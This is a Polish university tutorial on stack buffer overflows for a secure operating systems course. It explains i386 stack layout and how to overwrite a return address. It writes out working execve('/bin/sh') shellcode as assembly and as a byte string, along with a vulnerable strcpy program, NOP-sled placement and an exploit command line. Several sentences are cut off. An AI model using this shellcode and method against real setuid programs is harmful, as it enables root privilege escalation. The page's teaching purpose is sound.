Bezpieczne systemy operacyjne - błąd przepełnienia bufora Programy dołączone do materiałówKod przykładowych programów, ilustrujących poruszane zagadnienia, można ściągnąć stąd. Organizacja pamięci procesu
Rysunek przedstawia logiczną organizację pamięci procesu. Będziemy zajmować się jej fragmentem - stosem. Po prawej stronie widzimy jego część odpowiadającą jednemu wywołaniu funkcji. Należy zwrócić uwagę na to, że w architekturze i386 stos umieszczony jest w pamięci "do góry nogami" - kolejne odkładane na niego elementy mają coraz niższe adresy. void function(char *str, int a, int b) { char buffer1[5]; char buffer2[10]; } Spójrzmy na przykład. Rysunek po prawej przedstawia dane znajdujące się na początku stosu w czasie działania function. Są to:
Adres powrotu można popsućPoniższy program używa omówionej wyżej funkcji do przedstawienia problemu przepełnienia bufora: void function(char *str, int a, int b) { char buffer1[5]; char buffer2[10]; strcpy(buffer1, str); } void main() { char large_string[256]; int i; for (i=0; i<255; i++) large_string[i] = 'A'; function(large_string, 2, 3); }
Funkcja
W tak prostym programie dość łatwo można zauważyć, na czym polega problem -
Rzut oka na rysunek pozwala stwierdzić, co znajduje się w zamazywanych komórkach (na rysunku wyższe adresy pamięci znajdują się niżej, dlatego Adres powrotu można popsuć i coś z tego miećSkoro umiemy już wpisać AAAA do adresu powrotu, warto byłoby spróbować wpisać tam coś bardziej inteligentnego. Dla uproszczenia nie będziemy przez chwilę korzystać z przepełnienia bufora - zmodyfikujemy wprost kod programu. Poniżej widzimy lekko zmienioną wersję funkcji main z poprzedniego programu.
void main() {
int x;
x = 0;
function("A", 2, 3);
Naszym celem będzie taka modyfikacja adresu powrotu w trakcie działania function, tak aby przypisanie
Zawartość stosu w tym przypadku jest taka sama jak w pierwszym programie. Znamy oczywiście adres buffer1. Ponieważ ilość miejsca alokowanego dla każdej zmiennej lokalnej jest wyrównywana w górę do wielokrotności 4 bajtów, buffer1 ma rozmiar 8 bajtów. Stara wartość EBP ma 4 bajty. Zatem adres powrotu znajduje się 12 bajtów dalej niż początek buffer1.
Pozostaje stwierdzić, o ile należy przesunąć adres powrotu. Odpowiedź na to pytanie możemy uzyskać analizując treść powyższego programu w asemblerze. Poniższy kod został wygenerowany przez skompilowanie programu za pomocą gcc z opcją -g, a następnie jego deasemblację przy użyciu gdb i konwersję na styl masm'a (
Oryginalnym adresem powrotu jest adres instrukcji Nowa treść function wygląda więc następująco: void function(char *str, int a, int b) { char buffer1[5]; char buffer2[10]; int *ret; ret = buffer1 + 12; (*ret) += 10; }
Kod otrzymanego w ten sposób programu znajduje się w pliku Każdy umie uruchomić powłokę, ale niektórzy umieją stać się przy tym root'em
W większości przypadków przepełnienia bufora używa się w celu uruchomienia powłoki (np.
Weźmy na przykład plik
Rozwiązaniem jest np. zastosowanie mechanizmu setuid. Polega on na ustawieniu specjalnego atrybutu (właśnie setuid) programowi
Mechanizm ten jest dość mało bezpieczny. Musimy mieć całkowite zaufanie do programu Kod w asemblerze uruchamiający powłokęUruchomienie programu dokonuje się za pomocą funkcji execve. Jej wywołanie w C wygląda następująco: int execve(const char *filename, char *const argv [], char *const envp[]); Parametry oznaczają, kolejno: nazwę programu do uruchomienia, argumenty wywołania i zmienne środowiskowe W naszym przypadku będziemy chcieli napisać asemblerowy odpowiednik następującego kodu: char *name[2]; name[0] = "/bin/sh" name[1] = NULL execve(name[0], name, name+1);
Zastosowana została tu pewna sztuczka - ponieważ nie potrzebujemy zmiennych środowiskowych, ostatni argument ma być tablicą składającą się tylko z NULLa. Ponieważ jednak drugi element tablicy
Zajmijmy się teraz asemblerową wersją powyższego kodu. Najpierw musimy zadbać, aby gdzieś w pamięci umieszczone zostały dane takie jak powyżej. Oczywiście nic nie stoi na przeszkodzie, aby argv znajdowało się zaraz za
Najprostszym sposobem jest umieszczenie takiej tablicy zaraz za kodem. Tu jednak musimy uważać - ponieważ docelowo bufor w którym zostanie umieszczony kod będzie kopiowany przez strcpy, nie może on zawierać bajtów zerowych (strcpy trafiając na zero kończy kopiowanie). Dlatego za kodem możemy umieścić tylko początkowy fragment tablicy - Jeżeli gdzieś w pamięci mamy już taką tablicę, uruchomienie powłoki w asemblerze sprowadza się do ustawienia wartości rejestrów:
i wywołania systemowego int 0x80 Zatem kod asemblerowy wywołania powłoki wygląda następująco: mov [argv], filename # mov byte [null_addr], 0 # mov long [envp], 0 # mov eax, 0xb mov ebx, filename lea ecx, argv lea edx, envp int 0x80 "/bin/sh" Linijki oznaczone # odpowiadają za odtworzenie części tablicy zawierającej zera i wskaźnik do "/bin/sh".
Otrzymany kod może jednak nadal zawierać zera. Na szczęście możemy się ich pozbyć, stosując proste modyfikacje, np. zamiast mov [argv], filename xor eax, eax mov byte [null_addr], eax mov long [envp], eax mov al, 0xb mov ebx, filename lea ecx, argv lea edx, envp int 0x80 "/bin/sh"
Kolejnym problemem, z jakim musimy sobie poradzić jest relokacja kodu, wykonywana przez system operacyjny. Ponieważ nie wiemy, w którym miejscu w pamięci umieszczony zostanie kod, nie znamy także adresu znajdującej się zaraz za nim tablicy. Nie znamy zatem adresów
Problem ten można rozwiązać za pomocą instrukcji
Pierwsza instrukcja wykonuje skok do instrukcji call. Call powoduje wrzucenie na stos adresu
Wyliczenie wartości jmp +odległość_do_call # 2 bajty pop esi # 1 bajt mov [argv], esi # 3 bajty xor eax, eax # 2 bajty mov byte [null_addr], eax # 3 bajty mov long [envp], eax # 3 bajty mov al, 0xb # 2 bajty mov ebx, esi # 2 bajty lea ecx, argv # 3 bajty lea edx, envp # 3 bajty int 0x80 # 2 bajty call -odległość_do_pop_esi # 5 bajtów "/bin/sh"
Wynika stąd, że Pozostaje już tylko obliczyć przesunięcia poszczególnych zmiennych w tablicy:
null_addr = filename + 7 = esi + 7 argv = null_addr + 1 = esi + 8 envp = argv + 4 = esi + 12 Ostateczna wersja kodu wygląda więc następująco: jmp +24 pop esi mov [esi + 8], esi xor eax, eax mov byte [esi + 7], eax mov long [esi + 12], eax mov al, 0xb mov ebx, esi lea ecx, esi + 8 lea edx, esi + 12 int 0x80 call -29 "/bin/sh" W postaci skompilowanej: char shellcode[] = "\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh"
Jego działanie można sprawdzić np. takim programem (znajdującym się w pliku void main() { int *ret; ret = (int*)&ret + 2; (*ret) = (int)shellcode; }
Zmieniamy tu adres powrotu funkcji Jak przepełnić bufor, aby uruchomić otrzymany kod?Zastanówmy się teraz, jak wykorzystać przepełenienie bufora do uruchomienia otrzymanego przez nas kodu. Będziemy "psuć" następujący program, przekazując w parametrze odpowiednio spreparowany bufor: void main(int argc, char *argv[]) { char buffer[512]; if (argc > 1) strcpy(buffer, argv[1]); } W trakcie działania programu, strcpy skopiuje zawartość parametru w miejsce zaczynające się pod adresem buffer.
Tu pojawia się pierwszy problem. W ogólności nie wiemy, jak duży jest Rozwiązanie jest dość proste - możemy wielokrotnie wpisać za naszym kodem jego adres, licząc, że któryś za którymś razem trafimy. Dużym ułatwieniem jest fakt, że rozmiar zmiennych znajdujących się na stosie jest wielokrotnością czterech bajtów. Dzięki temu mamy pewność, że adres powrotu nie wypadnie "na granicy" dwóch wpisanych przez nas wartości.
Wiemy już, gdzie wpisać adres naszego kodu, ale nie wiemy, jaką powinien mieć wartość. Możemy jednak określić ją w przybliżeniu:
Dla każdego procesu w systemie początkowa wartość rejestru ESP, tzn. adres czubka stosu jest zawsze taki sam. Dlatego też adres powrotu z funkcji main zawsze znajduje się w tym samym miejscu w pamięci. Do zgadnięcia pozostaje rozmiar tablicy buffer i innych zmiennych lokalnych funkcji
Na szczęście istnieje sposób na znaczne zwiększenie szans trafienia. Prawie każdy procesor ma instrukcję pustą, używaną w celu opóźnienia wykonywania kolejnej 'sensownej' instrukcji. W procesorach intelopodobnych jest to
Do materiałów dołączone są dwa programy ilustrujące wyżej opisany mechanizm:
Wywołanie: (uwaga: cudzysłowy odwrotne, czyli te gdzie ~) ./haslo `./gen_buf 612 0`
spowoduje przepełnienie bufora programu Jak znaleźć bufor, który można przepełnić?Wiele funkcji ze standardowej biblioteki C nie sprawdza wielkości bufora do którego zapisuje. Są to między innymi:
Często używaną konstrukcją jest pętla while, wczytująca znak po znaku z pliku lub standardowego wejścia do momentu napotkania końca linii, pliku lub innego ogranicznika. Jeżeli nie jest przy tym sprawdzana wielkość wczytanych danych, łatwo można zastosować przedstawione techniki. Źródła darmowych systemów są powszechnie dostępne, stąd bardzo łatwo jest znaleźć potencjalnych 'kandydatów'. Co więcej, często na tych samych źródłach bazują komercyjne systemy operacyjne. Jak bronić się przed przepełnieniem bufora?
Źródła:
Autor: Paweł Banasik |